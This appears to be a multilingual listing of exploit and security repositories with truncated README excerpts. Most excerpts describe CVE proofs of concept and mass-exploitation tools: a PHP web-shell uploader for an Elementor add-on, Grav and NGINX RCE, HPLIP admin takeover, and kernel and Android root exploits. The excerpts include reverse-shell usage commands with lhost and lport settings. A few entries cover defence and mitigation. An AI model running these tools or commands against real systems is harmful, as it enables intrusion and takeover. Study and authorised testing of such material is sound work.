CGIShell

CGIShell shellshock CVE-2014-6271 CGIエクスプロイト CGIページを介してOpenSSHのように使用 使用方法 python cgishell.py 'http://www.google.com/cve-2014-6271/poc.cgi' スクリーンショット 依存関係 Windowsでは pyreadline が必要 chardet は不要 今後の予定 テストケースの追加 HTTPログインのサポート HTTP通信のgzip圧縮 chardetによる識別とデコード バグ修正 既知の問題 Windows未テスト...

CVE-2026-4885

CVE-2026-4885 – Piotnet Addons for Elementor Pro 批量利用工具 未经验证的文件上传导致 Piotnet Addons for Elementor Pro ≤ 7.1.70 中的远程代码执行（RCE）。 该工具专为 批量利用 设计——提供一个目标列表，它会自动： 检测插件版本（如果找到资源文件则假定存在漏洞） 执行高级侦察，提取 postid、formid 和正确的上传字段名称 尝试多种 PHP 扩展名（.phtml、.php3、.php4、.phps、.pht、.php2）以绕过弱过滤器 上传一个 带有 GIF89a 头部的 PHP She...

wafaray

WAF + YARA WAFARAY でマルウェア検出を強化 WAFARAY は、Debian 11.3.0 安定版 x64 をベースにしたラボ環境のデプロイメントであり、WAF + YARA という2つの主要要素を組み合わせて、通常は Web 機能（ファイルアップロード）を介して悪意のあるファイル（例：ウェブシェル、ウイルス、マルウェア、バイナリ）を検出します。 -blue.svg 目的 基本的なアイデアは、WAF + YARA（YARA を右から左に読むと ARAY）を使用して、WAF がファイルをバックエンドに転送する前に、WAF...

cisco-CVE-2023-20075

概要 セキュリティ研究者: ly1g3, ly1g3attuta.io GPGフィンガープリント: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586 概要: ローカル権限昇格とシェルエスケープ CVE: CVE-2023-20075 タイムライン: 発見 - ly1g3 報告 - ly1g3 修正 - Cisco Cisco AsyncOS 14.2.0 ESA Cisco Secure Email 権限昇格 - cliからrootシェルへ...

cisco-CVE-2023-20009

关于 安全研究员：ly1g3，ly1g3attuta.io GPG 指纹：https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586 概述：远程代码执行 - RCE from config file（由配置文件触发的远程代码执行） CVE：CVE-2023-20008 时间线： 发现 - ly1g3 上报 - ly1g3 修复 - Cisco Cisco AsyncOS 14.2.0 ESA（Cisco Secure Email）与 Cisco Secure Email a...

Mitigation-Apache-CVE-2021-41773-

Mitigation-CVE-2021-41773- Apache におけるパストラバーサルおよびファイル開示の脆弱性である CVE-2021-41773 を緩和するシェルスクリプト インストール wget https://github.com/EkamSinghWalia/Mitigation-CVE-2021-41773-.git 使用方法 脆弱性を緩和するための完全な修正および推奨方法 このスクリプトはシステムリポジトリと Apache をアップグレードおよび更新します。 bash apachefix.sh 注意 - スクリプト実行中の両方のポップアップで OK を入力してください...

CVE-2026-5426

CVE-2026-5426 ⚡ 簡単な使い方 このプロジェクトは、以下のような安全で許可された環境でのみ使用してください。 ローカル仮想マシン Dockerコンテナ 隔離されたラボ環境 許可されたペネトレーションテスト環境 セットアップ例: git clone cd 使用例: Test a single target for vulnerability python cve-2026-5426.py -t https://example.com Scan multiple targets from a file python cve-2026-5426.py -t targets.txt...

CVE-2024-23346-rust-exploit

CVE-2024-23346 用の Rust 製エクスプロイトスクリプト。 以下に示すように、POC はコードインジェクションの脆弱性を利用し、ターミナルのようにリモートシェルコマンドを実行します。 poc.webm エクスプロイトの実行手順: Cargo で直接実行 cargo run -- --help cargo run -- --target http://10.10.11.38 --username "Admin" --password "Admin@123" --lhost 10.10.14.19 または バイナリをコンパイル: cargo build -r バイナリは...

CVE-2026-41651

CVE-2026-41651 CVSS 3.x : 7.8 HIGH CWE : CWE-367 Time-of-Check Time-of-Use Fix : PackageKit 1.3.5+ Affects : PackageKit 1.0.2 – 1.3.4 通过 PackageKit 的 D-Bus 事务处理器中的 TOCTOU 竞态条件实现本地提权。 任何无特权的本地用户都可以以 root 身份安装任意软件包——除了拥有本地会话外，无需任何身份验证。 仅限实验室 / 授权测试 （HTB、CTF、或具有书面授权的渗透测试）。 使用方法 python3 exploit.py...

CVE-2021-21425-RCE

这是我自己的版本，我在网上找到了很多，但那些都很糟糕。 用法 python3 exploit.py -u http://IP/grav-admin/ --lhost YOUR TUN0 IP --lport 4444 等待.. 60秒后你将在监听器上获得shell。...

CVE-2026-91097-CVE-2026-91106

🔬 加入 Telegram 获取最新漏洞研究与漏洞利用发布 HPLIP 打印机应用程序 — 未认证管理员接管 针对 HPLIP 打印机应用程序 （基于 PAPPL 的 Web 界面）的批量利用工具，影响所有 3.26.6 之前 的 HPLIP 版本。该工具利用 PAPPL Web 界面的默认未认证状态 执行完整的管理员接管链：配置篡改、主机名修改、TLS 证书替换、HP 插件安装（触发在目标上以 shell 执行 .run 文件）、系统日志窃取以及管理员密码锁定。 本工具利用的漏洞 核心漏洞是 PAPPL 未认证管理访问 — HPLIP 打印机应用程序默认未配置密码 ，允许任何网络攻击者...

cve-2023-6931-pipa

CVE-2023-6931 — Xiaomi Pad 6（pipa）提权与关 SELinux 最终在设备上使用的那一版 exploit，单独整理在此目录。 目标 设备 Xiaomi Pad 6 / pipa / SM8250 系统 HyperOS OS2.0.20.0.UMZCNXM 内核 4.19.157-perf-g240e1d0a5f52 起点 adb shell（shell 域） 结果 一次性 uid0 + 全局 SELinux permissive（重启失效） 利用链 见 exploit.c 文件头，摘要如下。 1 perf group readsize overflow - ...

intelspy

Perform automated network reconnaissance scans to gather network intelligence. IntelSpy is a multi-threaded network intelligence tool which performs automated network services enumeration. It performs live hosts detection scans, port scans, services enumeration scans, web content scans,...

metasploitable-pentest-report

Metasploitable 2 — 渗透测试报告 免责声明： 本次渗透测试仅在私有的、隔离的 VMware 实验室环境中进行，仅供教育目的。未访问任何真实系统。所有 IP 地址均已匿名化处理。 概述 字段| 详情 ---|--- 测试人员| Prafullya Shandilya 目标| Metasploitable 2（故意存在漏洞的虚拟机） 攻击机| Kali Linux 网络| 隔离的 VMware 仅主机模式实验室 日期| 2026年5月9日 工具| Nmap 7.95, Metasploit v6.4.94, Netcat 发现摘要 | 漏洞| 端口| CVE| 严重程度| ...

CVE-2017-9544

CVE-2017-9544 Easy Chat Server CVE-2017-9544 の SEH ベースのバッファオーバーフロー用エクスプロイト 以下に基づく: pwntools msfvenom / reversetcp ペイロード ropper x64dbg 脆弱なアプリは https://www.exploit-db.com/exploits/42155 で入手できます。 セットアップ 被害者 IP を 192.168.15.100 に設定し、Easy Chat Server を起動します。 攻撃者 IP を 192.168.15.101 に設定し、python main.py...

CVE-2026-26718

描述 摘要 xxl-job-admin Web 应用程序中存在跨站请求伪造（CSRF）漏洞，攻击者可利用该漏洞对 Glue IDE Shell 脚本进行未经授权的修改。受影响的端点缺少正确的 CSRF 令牌验证，并通过宽松的请求映射接受任意 HTTP 方法。 受影响产品 xxl-job history.pushState'', '', '/'; document.forms0.submit;...

CVE-2026-42945-Reverse-Shell-POC

CVE-2026-42945 NGINX Rift リバースシェル付き RCE PoC CVE-2026-42945 のリモートコード実行 RCE 概念実証 PoC です。これは NGINX の ngxhttprewritemodule におけるヒープバッファオーバーフローです。このフォークは、公開されているトリガー PoC を拡張し、組み込みのリバースシェルリスナーと、CTF や隔離されたラボ環境向けの設定可能な悪用パラメータを追加しています。 脆弱性概要 CVE ID: CVE-2026-42945 別名: NGINX Rift 影響を受けるコンポーネント:...

CVE-2024-14027_slop

CVE-2024-14027 - SlopSploit エクスプロイトは、Qemu Debian インストール上の 6.6.51 でテストされました。 exploit.c - シャドウファイルを漏洩します。 exploitdc.c - ダブルクローズ手法を用いてルートシェルを取得するデモです。 WRITEUP.md - LLM が生成した解説です。 これは、LLM（Opus 4.6）を用いて、解放された同一タイプのオブジェクトを再割り当て・再利用できることに起因する、ユニークな種類のカーネル脆弱性を悪用する実験でした（grsecurity による詳細）。 この結果は、LLM...

CVE-2025-39401

CVE-2025-39401 WordPress WPAMS Plugin El plugin WPAMS de WordPress CVE: CVE-2025-39401 Puntuación base: 10.0 CRÍTICO La vulnerabilidad de carga sin restricciones de archivos con tipo peligroso en mojoomla WPAMS permite a los atacantes subir una web shell al servidor, lo que conduce a un compromis...

zyxel-p870hn-hardware-hacking

从裸露 PCB 到 root：通过 UART 硬件破解 ZyXEL P-870HN 两张无标签路由器板的手机照片 → 串口控制台 → 认证绕过 → root shell —— 在我自己的硬件上复现这条真实存在、至今未修补的攻击链 CVE-2025-0890 （隐藏的 supervisor 账户）+ CVE-2024-40891 （CLI 命令注入）。 作者：damik0 · 2026-08-13 · 硬件破解实战记录 📷 PCB 照片 ─▶ 🔬 芯片侦察 ─▶ 🏷️ 型号识别 ─▶ 📍 找到 UART J2 └─▶ 🔌 串口控制台 ─▶ 🚪 隐藏账户 ─▶ ⛓️ 突破 CLI └─▶ 🐚...